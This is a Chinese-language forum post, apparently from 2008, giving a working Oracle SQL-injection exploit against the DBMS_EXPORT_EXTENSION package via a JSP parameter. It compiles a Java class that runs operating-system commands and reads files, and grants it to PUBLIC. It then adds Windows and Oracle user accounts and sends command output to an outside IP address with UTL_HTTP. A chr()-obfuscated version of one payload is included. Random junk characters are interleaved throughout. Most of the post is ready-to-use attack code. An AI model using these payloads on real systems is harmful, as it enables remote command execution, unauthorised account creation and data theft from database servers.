以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
: t! {. L3 r c7 Q/ P6 k) t! n
# q% B! Q1 o6 \$ n, Y, X4 R: L3 D6 l6 ` /xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....) 2 V9 J: N9 I% q- H
的形式即可。(用" 'a'|| "是为了让语句返回true值) 0 J* r9 [( W Q
语句有点长,可能要用post提交。
( Z( Y7 M7 X" ]9 T以下是各个步骤:
$ i. I1 l( h. W9 w3 ~) _1.创建包
! `; {# ?. P9 K" s6 e通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:, m; i9 J" E/ v0 v; A! Z! ?2 S
/xxx.jsp?id=1 and '1'<>'a'||(
. g3 P5 ~! ]; z" s' ^select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''# J9 w( D& q2 `- h6 W+ ]
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(- O }! B1 X& v J$ K5 j
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
5 P6 s* `) Z3 g- {4 ]6 ~ |5 W0 M; T}'''';END;'';END;--','SYS',0,'1',0) from dual
* h1 Q) A' T ? k& a/ L9 [$ Z) ) A$ Y+ M$ N7 _0 M4 `
------------------------ ' P) c, h& J( o. B& U, R8 i2 B
如果url有长度限制,可以把readFile()函数块去掉,即:
0 P7 \7 j \9 B; \+ U* y# c8 Z/xxx.jsp?id=1 and '1'<>'a'||(
7 c' n& `8 }3 Z% |select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''" m: Y+ r4 A: ?- I' M+ ] J
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
8 o" B! n- J5 F4 Ynew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
1 ~4 `. C6 T2 O$ y9 U; e( {}'''';END;'';END;--','SYS',0,'1',0) from dual
i# f! I1 A1 N2 O) / n+ b8 z% H; Q$ y! [, ?
同时把后面步骤 提到的 对readFile()的处理语句去掉。 [1 Y: D, R( ]: r2 l- I1 W
------------------------------
9 [0 I6 b5 I" j2.赋Java权限
/ u0 P) y. t _& ^select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
. N% b# g7 L% D% K- i! {3 ]! C, A3.创建函数
- d V0 v/ P/ m* ~9 Y+ X4 K! o0 Qselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''0 w: _. I6 Y& Y7 w. F6 f
create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
: @) v2 D% E/ o" Wselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
. |% ]. |9 K! kcreate or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual+ v: ?' c( \9 ]; Y! R
4.赋public执行函数的权限 . T# q6 C2 T( ]) k' Y
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual" }5 G. B( H2 Y& s
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual) [ X( d5 ~4 u! {4 S9 {
5.测试上面的几步是否成功
* ^# ?# }/ f8 x5 @# ^9 Sand '1'<>'11'||( & i5 x: e; R$ s4 s
select OBJECT_ID from all_objects where object_name ='LINXRUNCMD' 3 l: K6 T; K( E2 G& X
)
& d% U5 a. C- }, U% Q. ]/ P5 ]- E5 mand '1'<>(
8 v' o8 k9 d$ A: c+ d, k, h* u3 Rselect OBJECT_ID from all_objects where object_name ='LINXREADFILE' ; d g& W1 Y9 r+ `+ l
)
: O9 a# x& o! H6 k6.执行命令:
. X( b0 u n# ~/xxx.jsp?id=1 and '1'<>( ; D( e2 {3 d8 H
select sys.LinxRunCMD('cmd /c net user linx /add') from dual
, n2 `+ Q1 ~( G1 t* j9 Q9 I; U4 |: j9 {
) 5 e; J9 F" B/ I+ z% z9 s% @) k
/xxx.jsp?id=1 and '1'<>( 2 y# x% O9 r/ g* S5 k
select sys.LinxReadFile('c:/boot.ini') from dual
. k9 }+ f0 k4 ^9 K3 I4 L# u' b! R
)
0 |8 n; C! e; ~1 L; { : c0 O6 S* {/ m; p" T! W. g
注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。
n8 \3 g' @! B& M+ C如果要查看运行结果可以用 union : 9 Z3 F8 m9 `+ r
/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual3 G8 U, y+ G- U& L
或者UTL_HTTP.request(:
, n4 o9 @8 f3 N# \ E/xxx.jsp?id=1 and '1'<>(
. b5 d/ W9 y9 p* n5 d0 ]. k3 eSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
& ]3 s6 A4 H0 l$ B: j. ]* O)
2 }( f1 `- v4 F. W# t0 b7 Y/xxx.jsp?id=1 and '1'<>(
1 M5 e/ B+ `, R$ q8 ~SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
! r9 q: c, t6 T s& N+ Y- v' c)
4 a: o+ \2 h+ S/ K- v% m注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。# t u# p% S; H
--------------------
0 c# }0 V* }9 b" k8 f' L+ t# S6.内部变化 9 Z) b1 U9 J) G2 S" J1 ?
通过以下命令可以查看all_objects表达改变: 9 ?4 Y3 t0 E' A9 P4 s* ] j
select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'
. A. w7 ~* q3 X/ H$ g2 h7.删除我们创建的函数 6 T1 N w( T% [5 M
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
. {5 z: s2 Y+ Y( D9 j3 S$ [: _drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual
( n6 I" `7 t- P7 D3 F2 R$ P) T====================================================
9 ?5 G. n# d, a全文结束。谨以此文赠与我的朋友。 # H3 B- \$ U8 Y( w3 y
linx
3 t) S6 e5 ~, H1 a& \3 a2 ~124829445
% J. t2 _' { K1 x9 a2008.1.12 * S( g9 F, ]4 h2 p
linyujian@bjfu.edu.cn & D# n! M5 ^( s5 i3 ^6 M
====================================================================== ' O$ }7 `1 P) |3 W
测试漏洞的另一方法:
8 k! ~9 b6 K( X7 b( e创建oracle帐号: / a; D4 S: o9 T- z5 h5 p( t0 u% [, G
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
# E, C: C- `* d" ^% h2 z/ g% c! \CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual8 y o) k- H: a/ B$ J |
即: / w6 c# n! e: D3 S: f/ S# p; k- C
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
) E2 O7 j5 e5 N7 `4 `; kchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
- g' C" [- C* r- {, I0 y U确定漏洞存在:
( |# y3 ^1 ^( ?+ d" a' K1<>( $ P8 w$ m4 d- h5 L) i
select user_id from all_users where username='LINXSQL'
0 [1 o0 I: M$ W& d)
% z/ ]1 Y) h- R$ j5 Z+ G; ~/ s给linxsql连接权限: + z+ k& i0 a( u, g* c6 a: k# h
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
* f% T5 X6 Z# ^. Z4 vGRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
" g$ f I% y' e/ X8 F删除帐号: 6 ?5 ]. \! E+ C- \
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''% L& O; h& {- D d+ {
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
]) V, U6 r# G- h======================
+ P; g& |" p% n) I/ A以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:4 F; D; O8 s" J0 K) j, B
1.jsp?id=1 and '1'<>(
+ f2 ~- W" p/ Lselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
8 R, [9 j4 _0 rcreate or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual
9 d4 h) `+ u) ]$ @; C) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE; d1 T) J$ X# d
)0 P' X) J; A, O5 V9 W
8 Z) k( C& T5 t: _6 K
$ i- `4 S& a" Y- U l/ a2 O$ S ~7 O! S2 n1 m+ W7 [5 |; L2 a7 @: |; y: Z! c3 t6 W8 _
|